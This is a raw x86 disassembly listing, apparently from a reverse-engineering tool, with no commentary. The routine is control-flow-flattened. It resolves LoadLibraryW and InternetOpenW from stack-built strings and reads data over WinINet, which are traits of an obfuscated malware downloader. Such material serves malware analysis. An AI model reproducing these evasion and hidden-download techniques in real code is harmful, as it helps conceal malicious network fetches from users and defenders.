mov dword [ebp - 0x10], 0x631d4d
jmp 0x42b48a
push 0x14
push str.InternetCloseHandle
push dword [ebp - 0x50]
call fcn.004321d0
add esp, 0xc
mov dword [ebp - 0x10], 0x26caa7e7
jmp 0x42b48a
mov eax, dword [ebp - 0x14]
lea esi, [eax*4 + 0x15c]
mov eax, esi
shr eax, 0xd
mov dword [ebp - 0x14], eax
push 0xff2
push 0x5664
push eax
call fcn.004273c5
add esp, 0xc
mov eax, 0x9ea80e48
cmp esi, 0x100000
jae 0x42d2c4
mov eax, 0xc06a023c
jmp 0x42d2c4
mov eax, dword [ebp - 0x18]
lea ecx, [eax - 0xef]
imul ecx, ecx
add eax, 0xffffff2e
imul edx, ecx, 0x6ecd
shr eax, 0x19
dec edx
mov dword [ebp - 0x18], eax
mov eax, 0x9e24c510
cmp ecx, edx
je 0x42d2c4
mov eax, 0xf27dac30
jmp 0x42d2c4
cmp dword [ebp - 0xa8], 0
setne byte [ebp - 0x25]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x10], 0xa1dd2dd5
jmp 0x42b48a
push 0x400
push 0
push dword [ebp - 0x2c]
call fcn.00432cd0
add esp, 0xc
push str.default
push str.BVnUqo___RipnDick
push str.lid_sj_sver3.0
push 0x3ff
push dword [ebp - 0x2c]
call fcn.004273c5
add esp, 0x14
mov dword [ebp - 0x10], 0xe436b990
jmp 0x42b48a
mov ebx, dword [ebp - 0x14]
and ebx, 0xfffffffe
shl ebx, 0xa
add ebx, 0x1e40
mov dword [ebp - 0x14], ebx
call fcn.0042b475
push 0x2880
push ebx
call fcn.0042aa50
add esp, 8
mov dword [ebp - 0x10], 0x85b71a65
jmp 0x42b48a
mov dword [ebp - 0x10], 0x4d29b57d
jmp 0x42b48a
imul esi, dword [ebp - 0x14], 0xca
mov eax, esi
shr eax, 8
mov dword [ebp - 0x14], eax
push eax
call fcn.0042adc5
add esp, 4
call fcn.0040560b
mov eax, 0x631d4d
cmp esi, 0xdc00
jae 0x42d2c4
mov eax, 0xfb6fe23f
jmp 0x42d2c4
mov eax, dword [ebp - 0xc4]
add eax, dword [ebp - 0x68]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x10], 0xa9e567d7
jmp 0x42b48a
mov esi, dword [ebp - 0x14]
shl esi, 0x1f
or esi, 0x25c0000
mov dword [ebp - 0x14], esi
call fcn.0040560b
mov eax, 0xb39e4f86
cmp esi, 0x60
jge 0x42d2c4
mov eax, 0xc06b863b
jmp 0x42d2c4
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x10], 0x9ea80e48
jmp 0x42b48a
imul esi, dword [ebp - 0x14], 0x3d800000
add esi, 0x533ff0c0
mov dword [ebp - 0x14], esi
push esi
call fcn.0042adc5
add esp, 4
call fcn.0042b475
mov eax, 0xf6fc860c
cmp esi, 0x4e
jl 0x42d2c4
mov eax, 0xe80252cd
jmp 0x42d2c4
mov eax, dword [ebp - 0x14]
shr eax, 3
imul ebx, eax, 0xfc
add ebx, 0xfffe7d24
mov dword [ebp - 0x14], ebx
push ebx
push 0x2bf7
call fcn.0042aa50
add esp, 8
call fcn.0042b475
mov eax, 0xeb9c3101
cmp ebx, 0x59
jb 0x42d2c4
mov eax, 0x9c30abe1
jmp 0x42d2c4
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x10], 0x5b7a0feb
mov dword [ebp - 0x40], eax
jmp 0x42b48a
mov eax, dword [ebp - 0x14]
shr eax, 0xb
lea ecx, [eax + eax]
add eax, eax
add eax, 0x14
mov dword [ebp - 0x14], eax
mov eax, 0xf6bcdf3c
cmp ecx, 0x2b
jae 0x42d2c4
mov eax, 0xe6630ad1
jmp 0x42d2c4
mov ebx, dword [ebp - 0x14]
mov eax, 0x14b
add ebx, eax
mov dword [ebp - 0x14], ebx
call fcn.0040560b
push 0x3ef8
push 0x197f
push ebx
call fcn.004273c5
add esp, 0xc
mov eax, 0xeb9c3101
cmp ebx, 0x9a
jl 0x42d2c4
mov eax, 0x63cfe85f
jmp 0x42d2c4
cmp dword [ebp - 0x88], 0
mov eax, 0x6894a02
jne 0x42cc19
mov eax, 0xd9df9e1c
cmp byte [ebp - 0x25], 0
jne 0x42cc24
mov eax, 0xd9df9e1c
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x88]
mov dword [ebp - 0x80], ecx
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], eax
jmp 0x42b48a
mov dword [ebp - 0x10], 0x417299d9
jmp 0x42b48a
mov eax, dword [ebp - 0x1c]
push dword [ebp - 0x34]
call eax
mov dword [ebp - 0x10], 0x814be77c
mov dword [ebp - 0x6c], 0
jmp 0x42b48a
mov eax, dword [ebp - 0x20]
mov dword [eax], 0
mov dword [ebp - 0x10], 0xaac7f6f3
jmp 0x42b48a
push dword [ebp - 0x48]
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x10], 0xc06b863b
jmp 0x42b48a
imul eax, dword [ebp - 0x18], 0x620
add eax, 0xffffff46
shr eax, 0xf
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x8413b88
jmp 0x42b48a
push 0x11
push 0x4550d5
push dword [ebp - 0x5c]
call fcn.004321d0
add esp, 0xc
push dword [ebp - 0x5c]
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], 0x6f866917
jmp 0x42b48a
mov eax, dword [ebp - 0x14]
shl eax, 0x17
or eax, 0x3b
imul eax, eax, 0xa1
add eax, 0xdd
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0xeb9c3101
jmp 0x42b48a
push dword [ebp - 0x68]
call fcn.0043c186
add esp, 4
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], 0xcf56726
jmp 0x42b48a
imul eax, dword [ebp - 0x18], 0xb5
add eax, 0xffffff33
imul ecx, eax, 0x68000000
imul eax, eax
imul edx, eax, 0x8051
dec edx
shr ecx, 5
mov dword [ebp - 0x18], ecx
mov ecx, 0xea012b21
cmp edx, eax
je 0x42ceb7
mov ecx, 0xc6c8a618
jmp 0x42ceb7
mov eax, dword [ebp - 0x18]
lea ecx, [eax - 0x33]
imul ecx, ecx
imul edx, ecx, 0x223f
dec edx
lea eax, [eax*4 - 0xcc]
lea eax, [eax + eax*2]
mov dword [ebp - 0x18], eax
mov eax, 0x76935cfa
cmp edx, ecx
je 0x42d2c4
mov eax, 0x2ebd83b0
jmp 0x42d2c4
mov eax, dword [ebp - 0x18]
shr eax, 9
imul eax, eax, 0x98000000
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x6e733148
jmp 0x42b48a
mov eax, dword [ebp - 0x14]
shl eax, 0xc
or eax, 0xa4
imul ecx, eax, 0x2dfa
mov dword [ebp - 0x14], ecx
mov eax, 0xd9eb7893
cmp ecx, 0x42
jl 0x42cf88
jmp 0x42d2c4
push dword [ebp - 0x38]
push dword [ebp - 0x90]
push dword [ebp - 0xac]
push dword [ebp - 0x24]
call dword [sym.imp.WININET.dll_InternetReadFile]
mov dword [ebp - 0x10], 0x13dbd0c0
jmp 0x42b48a
mov eax, dword [ebp - 0x18]
lea ecx, [eax - 0xed]
imul ecx, ecx
imul edx, ecx, 0x7379
shl eax, 7
dec edx
add eax, 0xffffcb42
mov dword [ebp - 0x18], eax
mov eax, 0x90ec0ee4
cmp edx, ecx
je 0x42ce26
mov eax, 0x5b7a0feb
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x40], 0
jmp 0x42b48a
mov eax, dword [ebp - 0x18]
shl eax, 0xa
add eax, 0x3c800
and eax, 0xffff0000
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0xfb6fe23f
jmp 0x42b48a
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x10], 0x6aab3237
jmp 0x42b48a
push edi
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x10], 0xd7524170
jmp 0x42b48a
mov ecx, dword [ebp - 0x18]
mov eax, ecx
shr eax, 5
shr ecx, 0xf
imul eax, eax
imul edx, eax, 0x411b
dec edx
add ecx, 0xbe
mov dword [ebp - 0x18], ecx
mov ecx, 0xe3dc6821
cmp edx, eax
je 0x42ceb7
mov ecx, 0xd37368b
mov dword [ebp - 0x10], ecx
jmp 0x42b48a
mov eax, dword [ebp - 0x18]
shr eax, 5
and eax, 0xffffff
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0xe329f619
jmp 0x42b48a
mov eax, dword [ebp - 0x98]
push edi
push edi
push edi
push edi
push edi
call eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x10], 0x3b9b1057
jmp 0x42b48a
mov eax, dword [ebp - 0x18]
lea ecx, [eax + 0xab]
imul ecx, ecx
imul edx, ecx, 0x2295
dec edx
add eax, 0x10c
mov dword [ebp - 0x18], eax
mov eax, 0x7aa39555
cmp ecx, edx
je 0x42d223
mov eax, 0xe6e18005
jmp 0x42d223
mov dword [ebp - 0x10], 0xd9eb7893
jmp 0x42b48a
imul esi, dword [ebp - 0x14], 0x1e8
add esi, 0xcc
mov eax, esi
shr eax, 8
mov dword [ebp - 0x14], eax
call fcn.0042b475
mov eax, 0x2257bce8
cmp esi, 0x7300
jb 0x42d2c4
mov eax, 0xc7b20215
jmp 0x42d2c4
mov ecx, dword [ebp - 0x14]
shl ecx, 8
and ecx, 0xffe00000
mov dword [ebp - 0x14], ecx
mov eax, 0xc7b20215
cmp ecx, 0xc4
jge 0x42d2c4
mov eax, 0xe329f619
jmp 0x42d2c4
mov esi, dword [ebp - 0x14]
add esi, 0x4f
mov dword [ebp - 0x14], esi
call fcn.0040560b
mov eax, 0xecff1d33
cmp esi, 0x6e
je 0x42d2c4
mov eax, 0x66225c0f
jmp 0x42d2c4
mov eax, dword [ebp - 0x14]
shr eax, 0xc
imul ebx, eax, 0x1c078
add ebx, 0xffffffa8
mov dword [ebp - 0x14], ebx
push ebx
push 0x80d
push 0x5980
call fcn.004273c5
add esp, 0xc
call fcn.0042b475
mov eax, 0xcc213652
cmp ebx, 0x9c
jb 0x42d2c4
mov eax, 0x6e733148
jmp 0x42d2c4
push eax
mov eax, esp
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x10], 0xac52016a
jmp 0x42b48a
mov eax, dword [ebp - 0x14]
lea eax, [eax*8 + 0x1fff2c0]
and eax, 0x1fff800
imul esi, eax, 0x6400
mov dword [ebp - 0x14], esi
push esi
push 0x5e43
call fcn.0042aa50
add esp, 8
mov eax, 0x417299d9
test esi, esi
je 0x42d2c4
mov eax, 0xda17df38
jmp 0x42d2c4
imul ecx, dword [ebp - 0x14], 0x4314
add ecx, 0x25bb4
mov eax, ecx
shr eax, 0xa
mov dword [ebp - 0x14], eax
mov eax, 0xeb9c3101
cmp ecx, 0x3c000
jb 0x42d2c4
mov eax, 0xf6fc860c
jmp 0x42d2c4
push 0x1a
push str.kernel32.dll
lea esi, [ebp - 0xee]
push esi
call fcn.004321d0
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov byte [ebp - 0xc8], 0
mov dword [ebp - 0xcc], 0x57797261
mov dword [ebp - 0xd0], 0x7262694c
mov dword [ebp - 0xd4], 0x64616f4c
lea ecx, [ebp - 0xd4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x10], 0x2d18616a
jmp 0x42b48a
imul ecx, dword [ebp - 0x14], 0x1d40
add ecx, 0x166500
mov dword [ebp - 0x14], ecx
mov eax, 0x89f43f26
cmp ecx, 0x48
jl 0x42d2c4
mov eax, 0xac6dd602
jmp 0x42d2c4
imul eax, dword [ebp - 0x18], 0x61c1
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x837b
add eax, 0xfffffe8a
dec edx
mov dword [ebp - 0x18], eax
mov eax, 0xae124799
cmp edx, ecx
je 0x42d223
mov eax, 0xe8b7b59a
jmp 0x42d223
mov eax, dword [ebp - 0x94]
push dword [ebp - 0x44]
call eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x10], 0x8cbbdfe8
jmp 0x42b48a
mov eax, dword [ebp - 0x1c]
push dword [ebp - 0x34]
call eax
mov dword [ebp - 0x10], 0x5b7a0feb
mov dword [ebp - 0x40], 0
jmp 0x42b48a
push edi
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0x10], 0x1dafb0ef
jmp 0x42b48a
imul esi, dword [ebp - 0x14], 0x318
add esi, 0xfffffed8
and esi, 0xfffff800
mov dword [ebp - 0x14], esi
call fcn.0042b475
mov eax, 0xfb6fe23f
cmp esi, 0xad
jge 0x42d2c4
mov eax, 0x6660e7fe
jmp 0x42d2c4
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x90]
add eax, ecx
inc eax
push eax
push dword [ebp - 0xc0]
call fcn.0043c891
add esp, 8
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x10], 0xd6eab7a3
jmp 0x42b48a
mov eax, dword [ebp - 0x18]
shr eax, 7
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x4011
dec edx
shl eax, 9
add eax, 0x2c00
and eax, 0xfffff800
mov dword [ebp - 0x18], eax
mov eax, 0x58b17296
cmp edx, ecx
je 0x42d223
mov eax, 0xc7b20215
mov dword [ebp - 0x10], eax
jmp 0x42b48a
mov eax, dword [ebp - 0xb8]
mov byte [eax], 0
mov eax, dword [ebp - 0x1c]
push dword [ebp - 0x24]
call eax
mov dword [ebp - 0x10], 0xcc430d99
jmp 0x42b48a
mov eax, dword [ebp - 0x48]
mov word [eax + 0xc], 0x57
mov dword [eax + 8], 0x6e65704f
mov dword [eax + 4], 0x74656e72
mov dword [eax], 0x65746e49
mov dword [ebp - 0x10], 0x6ce3e6e6
jmp 0x42b48a
imul esi, dword [ebp - 0x14], 0x68
shr esi, 8
mov dword [ebp - 0x14], esi
push 0x5e27
push esi
call fcn.0042aa50
add esp, 8
mov eax, 0x96fd4df1
cmp esi, 0x2c
je 0x42d2c4
mov eax, 0x58b17296
jmp 0x42d2c4
mov dword [ebp - 0x10], 0x76935cfa
jmp 0x42b48a
mov eax, dword [ebp - 0x14]
lea ecx, [eax + eax]
add ecx, 0xffffff92
mov dword [ebp - 0x14], ecx
mov eax, 0x63c8c558
cmp ecx, 0xb3
jge 0x42d2c4
mov eax, 0x9ea80e48
mov dword [ebp - 0x10], eax
jmp 0x42b48a
mov dword [ebp - 0x10], 0xf6fc860c
jmp 0x42b48a
push 0xa
call fcn.0043c534
add esp, 4
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], 0x2dbd4a02
jmp 0x42b48a
mov dword [ebp - 0x10], 0x9e24c510
jmp 0x42b48a
cmp eax, 0x5b7a0feb
jne 0x42b48a
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret